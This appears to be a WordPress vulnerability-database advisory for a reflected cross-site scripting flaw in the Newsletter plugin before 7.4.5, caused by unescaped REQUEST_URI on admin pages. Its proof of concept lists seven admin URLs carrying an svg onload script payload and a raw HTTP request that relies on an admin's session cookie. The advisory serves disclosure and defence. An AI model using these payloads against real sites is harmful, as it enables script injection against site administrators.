WordPress Plugin Vulnerabilities
Newsletter < 7.4.5 - Reflected Cross-Site Scripting
Description
The plugin does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
Proof of Concept
https://example.com/wp-admin/admin.php?page=newsletter_main_index&debug&<svg/onload=alert(/XSS/)> https://example.com/wp-admin/admin.php?page=newsletter_main_main&debug&<svg/onload=alert(/XSS/)> https://example.com/wp-admin/admin.php?page=newsletter_subscription_options&debug&<svg/onload=alert(/XSS/)> https://example.com/wp-admin/admin.php?page=newsletter_subscription_antibot&debug&<svg/onload=alert(/XSS/)> https://example.com/wp-admin/admin.php?page=newsletter_emails_index&debug&<svg/onload=alert(/XSS/)> https://example.com/wp-admin/admin.php?page=newsletter_users_index&debug&<svg/onload=alert(/XSS/)> https://example.com/wp-admin/admin.php?page=newsletter_main_extensions&debug&<svg/onload=alert(/XSS/)> GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/XSS/)> HTTP/1.1 Host: example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: [logged in admin] Upgrade-Insecure-Requests: 1
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
PHYO WIN SHEIN
Submitter
PHYO WIN SHEIN
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-05-23 (about 1 years ago)
Added
2022-05-23 (about 1 years ago)
Last Updated
2023-02-16 (about 1 years ago)